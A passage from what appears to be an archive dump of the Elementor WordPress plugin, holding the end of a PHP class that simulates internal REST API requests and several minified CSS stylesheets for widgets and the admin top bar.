$this->cache, $key ); } private function set_cache( $key, $value ) { $this->cache[ $key ] = $value; } /** * Register controller. * * @param \Elementor\Data\V2\Base\Controller $controller_instance * * @return \Elementor\Data\V2\Base\Controller */ public function register_controller( Controller $controller_instance ) { $this->controllers[ $controller_instance->get_name() ] = $controller_instance; return $controller_instance; } /** * Register endpoint format. * * @param string $command * @param string $format * */ public function register_endpoint_format( $command, $format ) { $this->command_formats[ $command ] = untrailingslashit( $format ); } /** * Find controller instance. * * By given command name. * * @param string $command * * @return false|\Elementor\Data\V2\Base\Controller */ public function find_controller_instance( $command ) { $command_parts = explode( '/', $command ); $assumed_command_parts = []; foreach ( $command_parts as $command_part ) { $assumed_command_parts [] = $command_part; foreach ( $this->controllers as $controller_name => $controller ) { $assumed_command = implode( '/', $assumed_command_parts ); if ( $assumed_command === $controller_name ) { return $controller; } } } return false; } /** * Command extract args. * * @param string $command * @param array $args * * @return \stdClass */ public function command_extract_args( $command, $args = [] ) { $result = new \stdClass(); $result->command = $command; $result->args = $args; if ( false !== strpos( $command, '?' ) ) { $command_parts = explode( '?', $command ); $pure_command = $command_parts[0]; $query_string = $command_parts[1]; parse_str( $query_string, $temp ); $result->command = untrailingslashit( $pure_command ); $result->args = array_merge( $args, $temp ); } return $result; } /** * Command to endpoint. * * Format is required otherwise $command will returned. * * @param string $command * @param string $format * @param array $args * * @return string endpoint */ public function command_to_endpoint( $command, $format, $args ) { $endpoint = $command; if ( $format ) { $formatted = $format; array_walk( $args, function ( $val, $key ) use ( &$formatted ) { $formatted = str_replace( '{' . $key . '}', $val, $formatted ); } ); // Remove remaining format if not requested via `$args`. if ( strstr( $formatted, '/{' ) ) { /** * Example: * $command = 'example/documents'; * $format = 'example/documents/{document_id}/elements/{element_id}'; * $formatted = 'example/documents/1618/elements/{element_id}'; * Result: * $formatted = 'example/documents/1618/elements'; */ $formatted = substr( $formatted, 0, strpos( $formatted, '/{' ) ); } $endpoint = $formatted; } return $endpoint; } /** * Run server. * * Init WordPress reset api. * * @return \WP_REST_Server */ public function run_server() { /** * If run_server() called means, that rest api is simulated from the backend. */ $this->is_internal = true; if ( ! $this->server ) { // Remove all 'rest_api_init' actions. remove_all_actions( 'rest_api_init' ); // Call custom reset api loader. do_action( 'elementor_rest_api_before_init' ); $this->server = rest_get_server(); // Init API. } return $this->server; } /** * Kill server. * * Free server and controllers. */ public function kill_server() { global $wp_rest_server; $this->controllers = []; $this->command_formats = []; $this->server = false; $this->is_internal = false; $this->cache = []; $wp_rest_server = false; } /** * Run processor. * * @param \Elementor\Data\V2\Base\Processor $processor * @param array $data * * @return mixed */ public function run_processor( $processor, $data ) { if ( call_user_func_array( [ $processor, 'get_conditions' ], $data ) ) { return call_user_func_array( [ $processor, 'apply' ], $data ); } return null; } /** * Run processors. * * Filter them by class. * * @param \Elementor\Data\V2\Base\Processor[] $processors * @param string $filter_by_class * @param array $data * * @return false|array */ public function run_processors( $processors, $filter_by_class, $data ) { foreach ( $processors as $processor ) { if ( $processor instanceof $filter_by_class ) { if ( Processor\Before::class === $filter_by_class ) { $this->run_processor( $processor, $data ); } elseif ( Processor\After::class === $filter_by_class ) { $result = $this->run_processor( $processor, $data ); if ( $result ) { $data[1] = $result; } } else { trigger_error( "Invalid processor filter: '\${ $filter_by_class }'" ); // phpcs:ignore break; } } } return isset( $data[1] ) ? $data[1] : false; } /** * Run request. * * Simulate rest API from within the backend. * Use args as query. * * @param string $endpoint * @param array $args * @param string $method * @param string $namespace (optional) * @param string $version (optional) * * @return \WP_REST_Response */ public function run_request( $endpoint, $args = [], $method = \WP_REST_Server::READABLE, $namespace = self::ROOT_NAMESPACE, $version = self::VERSION ) { $this->run_server(); $endpoint = '/' . $namespace . '/v' . $version . '/' . trim( $endpoint, '/' ); // Run reset api. $request = new \WP_REST_Request( $method, $endpoint ); if ( 'GET' === $method ) { $request->set_query_params( $args ); } else { $request->set_body_params( $args ); } return rest_do_request( $request ); } /** * Run endpoint. * * Wrapper for `$this->run_request` return `$response->getData()` instead of `$response`. * * @param string $endpoint * @param array $args * @param string $method * * @return array */ public function run_endpoint( $endpoint, $args = [], $method = 'GET' ) { // The method become public since it used in `Elementor\Data\V2\Base\Endpoint\Index\AllChildren`. $response = $this->run_request( $endpoint, $args, $method ); return $response->get_data(); } /** * Run ( simulated reset api ). * * Do: * Init reset server. * Run before processors. * Run command as reset api endpoint from internal. * Run after processors. * * @param string $command * @param array $args * @param string $method * * @return array|false processed result */ public function run( $command, $args = [], $method = 'GET' ) { $key = crc32( $command . '-' . wp_json_encode( $args ) . '-' . $method ); $cache = $this->get_cache( $key ); if ( $cache ) { return $cache; } $this->run_server(); $controller_instance = $this->find_controller_instance( $command ); if ( ! $controller_instance ) { $this->set_cache( $key, [] ); return []; } $extracted_command = $this->command_extract_args( $command, $args ); $command = $extracted_command->command; $args = $extracted_command->args; $format = isset( $this->command_formats[ $command ] ) ? $this->command_formats[ $command ] : false; $command_processors = $controller_instance->get_processors( $command ); $endpoint = $this->command_to_endpoint( $command, $format, $args ); $this->run_processors( $command_processors, Processor\Before::class, [ $args ] ); $response = $this->run_request( $endpoint, $args, $method ); $result = $response->get_data(); if ( $response->is_error() ) { $this->set_cache( $key, [] ); return []; } $result = $this->run_processors( $command_processors, Processor\After::class, [ $args, $result ] ); $this->set_cache( $key, $result ); return $result; } public function is_internal() { return $this->is_internal; } } assets/css/widget-shapes.min.css000064400000002062147206604650012710 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-text-path{font-size:20px;text-align:var(--alignment,start)}.elementor-widget-text-path svg{width:var(--width);max-width:100%;height:auto;overflow:visible;word-spacing:var(--word-spacing);transform:rotate(var(--rotate,0)) scaleX(var(--scale-x,1)) scaleY(var(--scale-y,1))}.elementor-widget-text-path svg path{vector-effect:non-scaling-stroke;fill:var(--path-fill,transparent);stroke:var(--stroke-color,transparent);stroke-width:var(--stroke-width,1px);transition:var(--stroke-transition) stroke,var(--stroke-transition) fill}.elementor-widget-text-path svg:hover path{--path-fill:var(--path-fill-hover);--stroke-color:var(--stroke-color-hover);--stroke-width:var(--stroke-width-hover)}.elementor-widget-text-path svg text{--fill:var(--text-color);fill:var(--fill);direction:var(--direction,ltr);transition:var(--transition) stroke,var(--transition) stroke-width,var(--transition) fill}.elementor-widget-text-path svg text:hover{--color:var(--text-color-hover,var(--text-color));--fill:var(--color);color:var(--color)}assets/css/widget-google_maps.min.css000064400000000350147206604650013717 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-google_maps .elementor-widget-container{overflow:hidden}.elementor-widget-google_maps .elementor-custom-embed{line-height:0}.elementor-widget-google_maps iframe{height:300px}assets/css/widget-nested-accordion.min.css000064400000011501147206604650014644 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-n-accordion{--n-accordion-title-font-size:20px;--n-accordion-title-flex-grow:initial;--n-accordion-title-justify-content:initial;--n-accordion-title-icon-order:-1;--n-accordion-border-width:1px;--n-accordion-border-color:#d5d8dc;--n-accordion-border-style:solid;--n-accordion-item-title-flex-grow:initial;--n-accordion-item-title-space-between:0px;--n-accordion-item-title-distance-from-content:0px;--n-accordion-padding:10px;--n-accordion-border-radius:0px;--n-accordion-icon-size:15px;--n-accordion-title-normal-color:#1f2124;--n-accordion-title-hover-color:#1f2124;--n-accordion-title-active-color:#1f2124;--n-accordion-icon-normal-color:var(--n-accordion-title-normal-color);--n-accordion-icon-hover-color:var(--n-accordion-title-hover-color);--n-accordion-icon-active-color:var(--n-accordion-title-active-color);--n-accordion-icon-gap:0 10px;width:100%}.elementor-widget-n-accordion .e-n-accordion details>summary::-webkit-details-marker{display:none}.elementor-widget-n-accordion .e-n-accordion-item{display:flex;flex-direction:column;position:relative}.elementor-widget-n-accordion .e-n-accordion-item:not(:last-child){margin-block-end:var(--n-accordion-item-title-space-between)}.elementor-widget-n-accordion .e-n-accordion-item-title,:where(.elementor-widget-n-accordion .e-n-accordion-item>.e-con){border:var(--n-accordion-border-width) var(--n-accordion-border-style) var(--n-accordion-border-color)}.elementor-widget-n-accordion .e-n-accordion-item-title{display:flex;flex-direction:row;list-style:none;padding:var(--n-accordion-padding);justify-content:var(--n-accordion-title-justify-content);border-radius:var(--n-accordion-border-radius);flex-grow:var(--n-menu-title-flex-grow);gap:var(--n-accordion-icon-gap);color:var(--n-accordion-title-normal-color);align-items:center;cursor:pointer}.elementor-widget-n-accordion .e-n-accordion-item-title-header{display:flex}.elementor-widget-n-accordion .e-n-accordion-item-title-header h1,.elementor-widget-n-accordion .e-n-accordion-item-title-header h2,.elementor-widget-n-accordion .e-n-accordion-item-title-header h3,.elementor-widget-n-accordion .e-n-accordion-item-title-header h4,.elementor-widget-n-accordion .e-n-accordion-item-title-header h5,.elementor-widget-n-accordion .e-n-accordion-item-title-header h6,.elementor-widget-n-accordion .e-n-accordion-item-title-header p{margin-block-start:0;margin-block-end:0}.elementor-widget-n-accordion .e-n-accordion-item-title-text{font-size:var(--n-accordion-title-font-size);align-items:center}.elementor-widget-n-accordion .e-n-accordion-item-title-icon{display:flex;flex-direction:row;align-items:center;order:var(--n-accordion-title-icon-order);position:relative;width:-moz-fit-content;width:fit-content}.elementor-widget-n-accordion .e-n-accordion-item-title-icon span{height:var(--n-accordion-icon-size);width:auto}.elementor-widget-n-accordion .e-n-accordion-item-title-icon span>i{color:var(--n-accordion-icon-normal-color);font-size:var(--n-accordion-icon-size)}.elementor-widget-n-accordion .e-n-accordion-item-title-icon span>svg{fill:var(--n-accordion-icon-normal-color);height:var(--n-accordion-icon-size)}.elementor-widget-n-accordion .e-n-accordion-item-title>span{cursor:pointer}.elementor-widget-n-accordion .e-n-accordion-item[open] .e-n-accordion-item-title{margin-block-end:var(--n-accordion-item-title-distance-from-content);color:var(--n-accordion-title-active-color)}.elementor-widget-n-accordion .e-n-accordion-item[open] .e-n-accordion-item-title-icon .e-opened{display:flex}.elementor-widget-n-accordion .e-n-accordion-item[open] .e-n-accordion-item-title-icon .e-closed{display:none}.elementor-widget-n-accordion .e-n-accordion-item[open] .e-n-accordion-item-title-icon span>i{color:var(--n-accordion-icon-active-color)}.elementor-widget-n-accordion .e-n-accordion-item[open] .e-n-accordion-item-title-icon span>svg{fill:var(--n-accordion-icon-active-color)}.elementor-widget-n-accordion .e-n-accordion-item:not([open]):hover .e-n-accordion-item-title{color:var(--n-accordion-title-hover-color)}.elementor-widget-n-accordion .e-n-accordion-item:not([open]):hover .e-n-accordion-item-title-icon span>i{color:var(--n-accordion-icon-hover-color)}.elementor-widget-n-accordion .e-n-accordion-item:not([open]):hover .e-n-accordion-item-title-icon span>svg{fill:var(--n-accordion-icon-hover-color)}.elementor-widget-n-accordion .e-n-accordion-item .e-n-accordion-item-title-icon .e-opened{display:none}.elementor-widget-n-accordion .e-n-accordion-item .e-n-accordion-item-title-icon .e-closed{display:flex}.elementor-widget-n-accordion .e-n-accordion-item .e-n-accordion-item-title-icon span>svg{fill:var(--n-accordion-icon-normal-color)}.elementor-widget-n-accordion .e-n-accordion-item .e-n-accordion-item-title-icon span>i{color:var(--n-accordion-icon-normal-color)}.elementor-widget-n-accordion .e-n-accordion-item>span{cursor:pointer}assets/css/widget-nested-tabs-rtl.min.css000064400000034017147206604650014442 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-n-tabs{--n-tabs-color-accent-fallback:#61ce70;--n-tabs-color-secondary-fallback:#54595f;--n-tabs-default-padding-block:15px;--n-tabs-default-padding-inline:35px;--n-tabs-background-color:transparent;--n-tabs-display:flex;--n-tabs-direction:column;--n-tabs-gap:10px;--n-tabs-heading-display:flex;--n-tabs-heading-direction:row;--n-tabs-heading-grow:initial;--n-tabs-heading-justify-content:center;--n-tabs-heading-width:initial;--n-tabs-heading-overflow-x:initial;--n-tabs-heading-wrap:nowrap;--n-tabs-border-width:1px;--n-tabs-border-color:#d5d8dc;--n-tabs-content-display:flex;--n-tabs-title-color:var(--e-global-color-secondary,var(--n-tabs-color-secondary-fallback));--n-tabs-title-color-hover:#fff;--n-tabs-title-color-active:#fff;--n-tabs-title-background-color:#f1f2f3;--n-tabs-title-background-color-hover:var(--e-global-color-accent,var(--n-tabs-color-accent-fallback));--n-tabs-title-background-color-active:var(--e-global-color-accent,var(--n-tabs-color-accent-fallback));--n-tabs-title-width:initial;--n-tabs-title-height:initial;--n-tabs-title-font-size:1rem;--n-tabs-title-white-space:initial;--n-tabs-title-justify-content-toggle:initial;--n-tabs-title-align-items-toggle:center;--n-tabs-title-justify-content:center;--n-tabs-title-align-items:center;--n-tabs-title-text-align:center;--n-tabs-title-direction:row;--n-tabs-title-gap:10px;--n-tabs-title-flex-grow:0;--n-tabs-title-flex-basis:content;--n-tabs-title-flex-shrink:initial;--n-tabs-title-order:initial;--n-tabs-title-padding-top:var(--n-tabs-default-padding-block);--n-tabs-title-padding-bottom:var(--n-tabs-default-padding-block);--n-tabs-title-padding-left:var(--n-tabs-default-padding-inline);--n-tabs-title-padding-right:var(--n-tabs-default-padding-inline);--n-tabs-title-border-radius:initial;--n-tabs-title-transition:0.3s;--n-tabs-icon-color:var(--e-global-color-secondary,var(--n-tabs-color-secondary-fallback));--n-tabs-icon-color-hover:var(--n-tabs-title-color-hover);--n-tabs-icon-color-active:#fff;--n-tabs-icon-gap:5px;width:100%;max-width:100%;--n-tabs-title-padding-inline-start:var(--n-tabs-title-padding-left);--n-tabs-title-padding-inline-end:var(--n-tabs-title-padding-right);--n-tabs-title-padding-block-start:var(--n-tabs-title-padding-top);--n-tabs-title-padding-block-end:var(--n-tabs-title-padding-bottom)}body.rtl .elementor-widget-n-tabs{--n-tabs-title-padding-inline-start:var(--n-tabs-title-padding-right);--n-tabs-title-padding-inline-end:var(--n-tabs-title-padding-left)}.elementor-widget-n-tabs .e-n-tabs{display:var(--n-tabs-display);flex-direction:var(--n-tabs-direction);gap:var(--n-tabs-gap);text-align:start;min-width:0}.elementor-widget-n-tabs .e-n-tabs-heading{display:var(--n-tabs-heading-display);flex-basis:var(--n-tabs-heading-width);flex-direction:var(--n-tabs-heading-direction);flex-shrink:0;justify-content:var(--n-tabs-heading-justify-content);gap:var(--n-tabs-title-gap);overflow-x:var(--n-tabs-heading-overflow-x);flex-wrap:var(--n-tabs-heading-wrap);-ms-overflow-style:none;scrollbar-width:none}.elementor-widget-n-tabs .e-n-tabs-heading::-webkit-scrollbar{display:none}.elementor-widget-n-tabs .e-n-tabs-heading.e-scroll{cursor:grabbing;cursor:-webkit-grabbing}.elementor-widget-n-tabs .e-n-tabs-heading.e-scroll-active{position:relative}.elementor-widget-n-tabs .e-n-tabs-heading.e-scroll-active:before{content:"";position:absolute;inset-block:0;inset-inline:-1000vw;z-index:2}.elementor-widget-n-tabs .e-n-tabs-content{display:var(--n-tabs-content-display);flex-grow:1;min-width:0}.elementor-widget-n-tabs .e-n-tabs-content>.e-con:not(.e-active){display:none}.elementor-widget-n-tabs .e-n-tabs:not(.e-activated)>.e-n-tabs-content>.e-con:first-child{display:flex}.elementor-widget-n-tabs .e-n-tab-title{background-color:initial;border-style:none;-webkit-user-select:none;-moz-user-select:none;user-select:none;display:flex;align-items:var(--n-tabs-title-align-items-toggle,var(--n-tabs-title-align-items));flex-direction:var(--n-tabs-title-direction);justify-content:var(--n-tabs-title-justify-content-toggle,var(--n-tabs-title-justify-content));gap:var(--n-tabs-icon-gap);border-width:var(--n-tabs-border-width);position:relative;flex-grow:var(--n-tabs-title-flex-grow);flex-basis:var(--n-tabs-title-flex-basis);flex-shrink:var(--n-tabs-title-flex-shrink);padding-block-start:var(--n-tabs-title-padding-block-start);padding-inline-end:var(--n-tabs-title-padding-inline-end);padding-block-end:var(--n-tabs-title-padding-block-end);padding-inline-start:var(--n-tabs-title-padding-inline-start);border-radius:var(--n-tabs-title-border-radius);height:var(--n-tabs-title-height);width:var(--n-tabs-title-width);white-space:var(--n-tabs-title-white-space);transition:background var(--n-tabs-title-transition),color var(--n-tabs-title-transition),border var(--n-tabs-title-transition),box-shadow var(--n-tabs-title-transition),text-shadow var(--n-tabs-title-transition),stroke var(--n-tabs-title-transition),stroke-width var(--n-tabs-title-transition),-webkit-text-stroke-width var(--n-tabs-title-transition),-webkit-text-stroke-color var(--n-tabs-title-transition),transform var(--n-tabs-title-transition)}.elementor-widget-n-tabs .e-n-tab-title:focus:not(:focus-visible){outline:none}.elementor-widget-n-tabs .e-n-tab-title span i,.elementor-widget-n-tabs .e-n-tab-title span svg{transition:color var(--n-tabs-title-transition),fill var(--n-tabs-title-transition)}.elementor-widget-n-tabs .e-n-tab-title-text{display:flex;align-items:center;font-size:var(--n-tabs-title-font-size);text-align:var(--n-tabs-title-text-align)}.elementor-widget-n-tabs .e-n-tab-title .e-n-tab-icon{display:flex;align-items:center;flex-direction:column;flex-shrink:0;order:var(--n-tabs-icon-order);overflow:hidden}.elementor-widget-n-tabs .e-n-tab-title .e-n-tab-icon i{font-size:var(--n-tabs-icon-size,var(--n-tabs-title-font-size))}.elementor-widget-n-tabs .e-n-tab-title .e-n-tab-icon svg{width:var(--n-tabs-icon-size,var(--n-tabs-title-font-size));height:var(--n-tabs-icon-size,var(--n-tabs-title-font-size))}.elementor-widget-n-tabs .e-n-tab-title .e-n-tab-icon:empty{display:none}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false]{background-color:var(--n-tabs-title-background-color)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false],.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false] a{color:var(--n-tabs-title-color)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false] .e-n-tab-icon i{color:var(--n-tabs-icon-color)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false] .e-n-tab-icon svg{fill:var(--n-tabs-icon-color)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false] .e-n-tab-icon i:last-child,.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false] .e-n-tab-icon svg:last-child{transform:translateY(-100vh);height:0;opacity:0}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true],.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true] a{color:var(--n-tabs-title-color-active)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true] .e-n-tab-icon i{color:var(--n-tabs-icon-color-active)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true] .e-n-tab-icon svg{fill:var(--n-tabs-icon-color-active)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true] .e-n-tab-icon i:first-child,.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true] .e-n-tab-icon svg:first-child{transform:translateY(-100vh);height:0;opacity:0}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true][class*=elementor-animation-]:active,.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true][class*=elementor-animation-]:focus,.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true][class*=elementor-animation-]:hover{transform:none;animation:initial}.elementor-widget-n-tabs [data-touch-mode=false] .e-n-tab-title[aria-selected=false]:hover,.elementor-widget-n-tabs [data-touch-mode=false] .e-n-tab-title[aria-selected=false]:hover a{color:var(--n-tabs-title-color-hover)}.elementor-widget-n-tabs [data-touch-mode=false] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon i{color:var(--n-tabs-icon-color-hover)}.elementor-widget-n-tabs [data-touch-mode=false] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon svg{fill:var(--n-tabs-icon-color-hover)}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover,.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover a{color:var(--n-tabs-title-color-active)}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon i{color:var(--n-tabs-icon-color-active)}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon svg{fill:var(--n-tabs-icon-color-active)}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon i:first-child,.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon svg:first-child{transform:translateY(-100vh);height:0;opacity:0}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover[class*=elementor-animation-]:active,.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover[class*=elementor-animation-]:focus,.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover[class*=elementor-animation-]:hover{transform:none;animation:initial}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon i:last-child,.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon svg:last-child{transform:none;height:auto;opacity:1}.elementor .elementor-element.elementor-widget-n-tabs>.elementor-widget-container>.e-n-tabs[data-touch-mode=false]>.e-n-tabs-heading .e-n-tab-title[aria-selected=false]:hover{background-color:var(--n-tabs-title-background-color-hover);background-image:none}.elementor .elementor-element.elementor-widget-n-tabs>.elementor-widget-container>.e-n-tabs>.e-n-tabs-heading .e-n-tab-title[aria-selected=true],.elementor .elementor-element.elementor-widget-n-tabs>.elementor-widget-container>.e-n-tabs[data-touch-mode=true]>.e-n-tabs-heading .e-n-tab-title[aria-selected=false]:hover{background-color:var(--n-tabs-title-background-color-active);background-image:none}@media (max-width:767px){.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile{--n-tabs-direction:column;--n-tabs-heading-display:contents;--n-tabs-content-display:contents}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile .e-n-tabs{gap:0}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile .e-n-tabs-content>.e-con{order:var(--n-tabs-title-order)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile .e-n-tab-title{order:var(--n-tabs-title-order);width:auto}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile .e-n-tab-title:not(:first-child){margin-block-start:var(--n-tabs-title-gap)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile .e-n-tab-title[aria-selected=true]{margin-block-end:var(--n-tabs-gap)}}@media (max-width:-1){.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra{--n-tabs-direction:column;--n-tabs-heading-display:contents;--n-tabs-content-display:contents}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra .e-n-tabs{gap:0}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra .e-n-tabs-content>.e-con{order:var(--n-tabs-title-order)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra .e-n-tab-title{order:var(--n-tabs-title-order);width:auto}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra .e-n-tab-title:not(:first-child){margin-block-start:var(--n-tabs-title-gap)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra .e-n-tab-title[aria-selected=true]{margin-block-end:var(--n-tabs-gap)}}@media (max-width:1024px){.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet{--n-tabs-direction:column;--n-tabs-heading-display:contents;--n-tabs-content-display:contents}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet .e-n-tabs{gap:0}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet .e-n-tabs-content>.e-con{order:var(--n-tabs-title-order)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet .e-n-tab-title{order:var(--n-tabs-title-order);width:auto}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet .e-n-tab-title:not(:first-child){margin-block-start:var(--n-tabs-title-gap)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet .e-n-tab-title[aria-selected=true]{margin-block-end:var(--n-tabs-gap)}}@media (max-width:-1){.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra{--n-tabs-direction:column;--n-tabs-heading-display:contents;--n-tabs-content-display:contents}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra .e-n-tabs{gap:0}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra .e-n-tabs-content>.e-con{order:var(--n-tabs-title-order)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra .e-n-tab-title{order:var(--n-tabs-title-order);width:auto}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra .e-n-tab-title:not(:first-child){margin-block-start:var(--n-tabs-title-gap)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra .e-n-tab-title[aria-selected=true]{margin-block-end:var(--n-tabs-gap)}}@media (max-width:-1){.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop{--n-tabs-direction:column;--n-tabs-heading-display:contents;--n-tabs-content-display:contents}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop .e-n-tabs{gap:0}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop .e-n-tabs-content>.e-con{order:var(--n-tabs-title-order)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop .e-n-tab-title{order:var(--n-tabs-title-order);width:auto}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop .e-n-tab-title:not(:first-child){margin-block-start:var(--n-tabs-title-gap)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop .e-n-tab-title[aria-selected=true]{margin-block-end:var(--n-tabs-gap)}}assets/css/widget-image-box.min.css000064400000002601147206604650013274 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-image-box .elementor-image-box-content{width:100%}@media (min-width:768px){.elementor-widget-image-box.elementor-position-left .elementor-image-box-wrapper,.elementor-widget-image-box.elementor-position-right .elementor-image-box-wrapper{display:flex}.elementor-widget-image-box.elementor-position-right .elementor-image-box-wrapper{text-align:end;flex-direction:row-reverse}.elementor-widget-image-box.elementor-position-left .elementor-image-box-wrapper{text-align:start;flex-direction:row}.elementor-widget-image-box.elementor-position-top .elementor-image-box-img{margin:auto}.elementor-widget-image-box.elementor-vertical-align-top .elementor-image-box-wrapper{align-items:flex-start}.elementor-widget-image-box.elementor-vertical-align-middle .elementor-image-box-wrapper{align-items:center}.elementor-widget-image-box.elementor-vertical-align-bottom .elementor-image-box-wrapper{align-items:flex-end}}@media (max-width:767px){.elementor-widget-image-box .elementor-image-box-img{margin-left:auto!important;margin-right:auto!important;margin-bottom:15px}}.elementor-widget-image-box .elementor-image-box-img{display:inline-block}.elementor-widget-image-box .elementor-image-box-title a{color:inherit}.elementor-widget-image-box .elementor-image-box-wrapper{text-align:center}.elementor-widget-image-box .elementor-image-box-description{margin:0}assets/css/admin-top-bar.css000064400000011043147206604650012013 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ #e-dashboard-widget-admin-top-bar { position: absolute; opacity: 0; pointer-events: none; } #e-admin-top-bar-root { right: 0; font-family: var(--e-a-font-family); background: var(--e-a-bg-default); box-shadow: 0 4px 6px rgba(0, 0, 0, 0.03); display: none; position: absolute; top: 0; width: calc(100% - 160px); z-index: 1; } body.folded #e-admin-top-bar-root { width: calc(100% - 36px); } #e-admin-top-bar-root .e-admin-top-bar { display: flex; height: 50px; justify-content: space-between; padding: 0 16px; } #e-admin-top-bar-root .page-title-action { font-size: 12px; font-weight: 500; line-height: 1.2; text-transform: uppercase; text-decoration: none; padding: 8px 16px; outline: none; border: none; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } #e-admin-top-bar-root .page-title-action:hover { background-color: var(--e-a-btn-bg-hover); color: var(--e-a-btn-color-invert); } #e-admin-top-bar-root .e-admin-top-bar__heading { display: inline-flex; align-items: center; justify-content: center; margin-inline-end: 40px; } #e-admin-top-bar-root .e-admin-top-bar__main-area { display: inline-flex; align-items: center; justify-content: center; } #e-admin-top-bar-root .e-admin-top-bar__main-area button { margin: 0 4px; } #e-admin-top-bar-root .e-admin-top-bar__secondary-area { display: inline-flex; align-items: center; justify-content: center; } #e-admin-top-bar-root .e-admin-top-bar__heading-title { color: var(--e-a-color-txt); font-size: 15px; font-weight: 700; padding: 0 8px; line-height: normal; } #e-admin-top-bar-root .e-admin-top-bar__main-area-buttons { display: inline-flex; gap: 5px; } #e-admin-top-bar-root.e-admin-top-bar--active { display: block; } #e-admin-top-bar-root.e-admin-top-bar--active ~ #wpbody #wpbody-content { margin-block-start: 50px; } #e-admin-top-bar-root.e-admin-top-bar--active ~ #wpbody .wrap { clear: both; padding-block-start: 10px; } #e-admin-top-bar-root.e-admin-top-bar--active ~ #wpbody .wrap h1 { display: none; } #e-admin-top-bar-root:not(.e-admin-top-bar--active) ~ #wpbody .wrap h1, #e-admin-top-bar-root:not(.e-admin-top-bar--active) ~ #wpbody .wrap .page-title-action { display: inline-block; } #e-admin-top-bar-root .e-admin-top-bar__bar-button { align-items: center; cursor: pointer; display: inline-flex; justify-content: center; margin: 0 10px; text-decoration: none; color: var(--e-a-color-txt); } #e-admin-top-bar-root .e-admin-top-bar__bar-button.accent { color: var(--e-a-color-accent); } #e-admin-top-bar-root .e-admin-top-bar__bar-button.accent:hover .e-admin-top-bar__bar-button-title, #e-admin-top-bar-root .e-admin-top-bar__bar-button.accent:hover .e-admin-top-bar__bar-button-icon { color: var(--e-a-color-accent); } #e-admin-top-bar-root .e-admin-top-bar__bar-button .crown-icon { font-size: 14px; } #e-admin-top-bar-root .e-admin-top-bar__bar-button 